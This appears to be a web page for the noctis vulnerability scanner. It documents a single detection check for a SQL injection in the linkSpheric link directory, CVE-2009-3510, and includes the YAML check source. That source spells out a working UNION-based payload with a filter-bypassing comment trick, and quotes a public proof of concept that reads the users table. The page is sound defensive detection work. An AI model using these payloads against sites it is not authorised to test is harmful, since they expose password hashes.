linkSpheric — 1 vulnerability check

noctis ships 1 vulnerability check for linkSpheric, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

linkSpheric viewListing.php listID SQL Injection

CVECVE-2009-3510
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/linkspheric/CVE-2009-3510.yaml

linkSpheric (a PHP/MySQL link directory by dataSpheric) puts the listID parameter of viewListing.php unquoted into an SQL query and prints the row it returns, allowing unauthenticated SQL injection: an attacker can read the whole database, user and administrator password hashes included. All releases up to 0.74 BETA 6 are affected and no fixed release exists.

This check looks for the linkSpheric generator tag or "Powered by linkSpheric" footer on index.php under the web root and a few usual install paths. Where it is found, it requests viewListing.php with a listID that is a UNION SELECT of an expression multiplying two random numbers (no spaces or quotes, so input filters of some releases do not stop it). The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/viewListing.php?listID={{sc.q}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit_dir for ^/ → finding QoD 97: linkSpheric viewListing.php listID SQL Injection (CVE-2009-3510)

References:

Feed source — tests/vulnerabilities/linkspheric/CVE-2009-3510.yaml
# linkSpheric <= 0.74 BETA 6 — viewListing.php listID SQL injection — CVE-2009-3510
#
# viewListing.php runs "SELECT * FROM listings WHERE id = $listID " with listID
# only passed through mysql_real_escape_string(), unquoted, and prints the row's
# title and description (listings has 28 columns in 0.73 to 0.74 BETA 6 Henry).
# Public PoC (EDB-9316): viewListing.php?listID=-5 union select 1,2,…,28 from users--
#
# Detection (QoD 97): on an install whose index.php carries the linkSpheric
# generator tag / "Powered by linkSpheric" footer (dataspheric.com link), request
#     viewListing.php?listID=-5/**/union/**/select/**/C,C,…,C   (28 columns)
# with C = CONCAT(0x4e4f43544953, a*b, 0x454e44) and random a, b. a*b is never in
# the request, so only an SQL engine that evaluated our expression can return
# "NOCTIS<a*b>END" (the real page echoes the raw listID back when no row matches
# — "No listing for id …" — which never holds the product). Read-only, no table
# referenced, no quotes, no spaces.
#
# Better than the source NASL:
#   - the NASL's UNION reads "from users": a fresh install with no registered user
#     returns no row and the NASL misses it; the computed marker needs no table;
#   - the NASL separates keywords with "+" (spaces): linkSpheric 0.74 (BETA 1)
#     redirects any listID holding a space, quote, "<" or ">" to index.php before
#     the query runs (invalid_query_string()), so the NASL misses it; "/**/" is
#     whitespace to MySQL and passes that filter;
#   - the NASL only probes the dir its detection found; this feed also tries the
#     usual install paths itself;
#   - a database-computed value instead of a fixed string echoed back.
# No version fallback: the product was never fixed (last release 0.74 BETA 6
# Henry, 2007, same query), and the UNION proof is version-independent.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_linkspheric_viewlisting_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801113, GPL-2.0-only).
uid: e198841b-8762-4702-96e5-60d01284887f
name: "linkSpheric viewListing.php listID SQL Injection (CVE-2009-3510)"
description: |
  linkSpheric (a PHP/MySQL link directory by dataSpheric) puts the listID
  parameter of viewListing.php unquoted into an SQL query and prints the row it
  returns, allowing unauthenticated SQL injection: an attacker can read the whole
  database, user and administrator password hashes included. All releases up to
  0.74 BETA 6 are affected and no fixed release exists.

  This check looks for the linkSpheric generator tag or "Powered by linkSpheric"
  footer on index.php under the web root and a few usual install paths. Where it
  is found, it requests viewListing.php with a listID that is a UNION SELECT of an
  expression multiplying two random numbers (no spaces or quotes, so input
  filters of some releases do not stop it). The vulnerability is confirmed when
  the page returns the product computed by the database, which never appears in
  the request. No table data is read and nothing is written.
cves: [CVE-2009-3510]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [linkspheric, dataspheric, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-3510"
  - "https://www.exploit-db.com/exploits/9316"
  - "https://sourceforge.net/projects/linkspheric/"
  # OpenVAS/Greenbone NASL 2009/gb_linkspheric_viewlisting_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected marker and the listID value ─────────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      let cols = c;
      for i in 1..28 { cols += "," + c; }
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q: "-5/**/union/**/select/**/" + cols }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/linkSpheric", "/linkspheric", "/ls", "/directory", "/links"]

  - id: init-probe-resp
    action: set_var
    var_name: ls_resp
    var_value: {status: 0, body: ""}

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: landing

  - id: fingerprint
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      egrep("(?i)(content=\"linkSpheric|dataspheric\\.com/services/software/ls)", body) != ""
    store_as: is_ls

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/viewListing.php?listID={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && is_ls == true'
    store_as: ls_resp

  - id: check-product
    action: script
    condition: 'hit_dir == "" && is_ls == true'
    code: |
      let body = if type_of(ls_resp.body) == "string" { ls_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "linkSpheric viewListing.php listID SQL Injection (CVE-2009-3510)"
        description: "An unauthenticated request to viewListing.php with listID set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: listID reaches the SQL query unquoted, so an attacker can read the whole database (user and administrator password hashes included)."
        remediation: "No fixed linkSpheric release exists (the project is abandoned): remove the application, or make viewListing.php cast listID to an integer (intval) before building the query."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: viewListing.php?listID=-5/**/union/**/select/**/CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),... (28 columns) returned the database-computed value {{sc.want}}"
      stop: true

View these feeds on GitHub